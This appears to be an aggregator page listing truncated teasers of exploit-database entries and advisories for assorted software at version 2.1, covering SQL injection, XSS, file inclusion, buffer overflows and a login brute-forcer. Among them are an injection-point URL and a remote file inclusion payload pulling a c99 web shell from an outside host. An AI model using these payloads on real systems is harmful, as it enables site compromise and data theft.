CVE-2017-8102

Stored XSS in Serendipity v2.1-rc1 allows an attacker to steal an admin’s cookie and other information by crafting a new entry as an editor user. The root cause is related to the absence of the serendipity_event_xsstrust plugin and a set_config error in that plugin. No explicit remediation is pro...

s9y Serendipity Cross Site Request Forgery

Details ====== Software: s9y Serendipity Version: Mitigations ======= update to Serendipity v2.1.x ======== FIX: ========== https://github.com/s9y/Serendipity/issues/452 Best regards, Zhiyang Zeng of Tencent security platform department...

WordPress Wow Forms v2.1 Plugin SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Wow Forms v2.1 WordPress Plugin SQL Injection Exploit Author: TAD GROUP Vendor Homepage: http://wow-company.com/ Software Link: https://wordpress.org/plugins/mwp-forms/ Version: 2.1 Contact: email protected Website: https://tad....

Joomla! Component Abstract v2.1 - SQL Injection

Joomla! Component the Abstract v2. 1 - SQL Injection Joomla! Component the Abstract v2. 1, There is a parameter filter is not strict, leading to a sql injection vulnerability Injection point: http://localhost/PATH/index. php? option=comabstract&view=conferences&layout=detail&pid=SQL...

Aeris Calandar v2.1 - Buffer Overflow Vulnerability

Document Title: =============== Aeris Calandar v2.1 - Buffer Overflow Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1656 Release Date: ============= 2015-12-01 Vulnerability Laboratory ID VL-ID: ==================================== 1656...

Medusa - Speedy, Parallel and Modular Login Brute-Forcer

Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. The goal is to support as many services which allow remote authentication as possible. The author considers following items as some of the key features of this application: Thread-based parallel testing. Brute-for...

groone glinks 2.1 - Remote File Inclusion Vulnerability

No description provided by source. GLINKS v2.1 Remote File Include Vulnerability http://www.groonesworld.com/programs/glinks/glinks.zip ======================================================== Author: k3vin mitnick tunisianblackhat team = Home : http://tunisianblackhat.com & scarface-team.org =...

Picturesolution <= 2.1 - (config.php path) Remote File Inclusion Vuln

No description provided by source. Picturesolution = v2.1 config.php path Remote File Inclusion Vulnerabilities Found By : Mogatil , http://www.hackteach.org/cc/ Posted By : Cold z3ro , http://www.hackteach.org/cc/ Exploit : /install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt? Examp...

Thinksaas v2.1 Sql Injection

简要描述： 今天看到发布了2.1就去下载了个看看。 但是还是有洞没补。 详细说明： \app\article\action\admin\cate.php 这文件在admin目录下 是为了让是管理才能访问的? 但是我自己在前台注册了一个用户, 可以直接访问到。 难道这是传说中的越权? case "editdo": $cateid = intval$POST'cateid'; $catename = tsClean$POST'catename'; $new'article'-update'articlecate',array 'cateid'=$cateid, ,array...

Damailinglist List System V2.1 Authorization Bypass Vulnerability

Exploit for asp platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

MyPic v2. 1 through the file vulnerability-vulnerability warning-the black bar safety net

Official website: http://www.diqiye.com/mypic/ Vulnerability description: /bom.php the file didn't do any access restrictions Code: if isset$GET'dir' //config the basedir $basedir=$GET'dir';//this didn't do the filter you can enter any directory else $basedir = '.'; $auto = 1; checkdir$basedir;...

eXtplorer 2.1 Arbitrary File Upload Vulnerability

This Metasploit module exploits an authentication bypass vulnerability in eXtplorer versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application. This application has an upload feature that allows an authenticated user with administrator roles to upload arbitrary files to any writabl...

Online Store ED-SC V2. 1 arbitrary file upload vulnerability-vulnerability warning-the black bar safety net

This vulnerability for a long time,but in the online to find a to find also did not find someone mentioned,so it is still published out and share with you. I am not a programmer,so the code has no way to explain,please forgive me! Online Store ED-SC V2. 1 默认 后台 路径 www.xxx.com/admins 默认 上传 路径...

Community Classifieds v2.1 Auth Bypass/XSS Vulnerabilties

Exploit for php platform in category web applications Community Classifieds v2.1 Auth Bypass/XSS Vulnerabilties ======================================================================= .:. Author : AtT4CKxT3rR0r1ST email protected .:. Script : http://www.idealwebcreators.com/ === Exploit === Auth...

Fire article back office management system V2. 1 cookie injection-vulnerability warning-the black bar safety net

Publishing author: dark-on formula Vulnerability type: cookie injection Vulnerability Description: The fire article back office management system V2. 1 program using a common anti-injection procedures, only the post get to filter lead to a cookie injection vulnerability. Vulnerability analysis:...

Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit

Exploit for windows platform in category local exploits !/usr/bin/python Exploit Title: Aesop GIF Creator = v2.1 .aep Buffer Overflow Exploit Date: 12/15/2010 Author: xsploitedsec URL: http://www.x-sploited.com/ Contact: xsploitedsec at x-sploited.com Software Link:...

AWCM 2.1 Final - Remote File Inclusion

AWCM 2.1 Final - Remote File Inclusion +Exploit Title: awcm v2.1 final Remote File Inclusion +Date: 13-11-2010 +Author: LoSt.HaCkEr aDaMTRoJaN +Software Link: www.awcm-cms.com +Version: v2.1 +CVE :I'M IRaQi Hacker town of Musayyib +Contact: LoSt.HaCkEratyahoodotcom 0r LoSt.HaCkEratHaCkEr.ps...

AWCM 2.1 Final - Remote File Inclusion

+Exploit Title: awcm v2.1 final Remote File Inclusion +Date: 13-11-2010 +Author: LoSt.HaCkEr aDaMTRoJaN +Software Link: www.awcm-cms.com +Version: v2.1 +CVE :I'M IRaQi Hacker town of Musayyib +Contact: LoSt.HaCkEratyahoodotcom 0r LoSt.HaCkEratHaCkEr.ps http://sourceforge.net/projects/awcm/files/...

phpCow v2.1 File Inclusion Vulnerability

Exploit for php platform in category web applications ======================================== phpCow v2.1 File Inclusion Vulnerability ======================================== +====================================================================|| About : phpCow v2.1 File Inclusion Vulnerability...

Simple Web Server 2.1 Denial Of Service

DCA-0003 Software - Simple Web Server Vendor Product Description - The easy and small way to open an HTTP Web Server. OS Versions:Windows9x/Me/NT/2000/XP Bug Description - SwS can't handle the header 'From:' when using random ASCII characters leading to Denial-of-Service. History - Advisory sent ...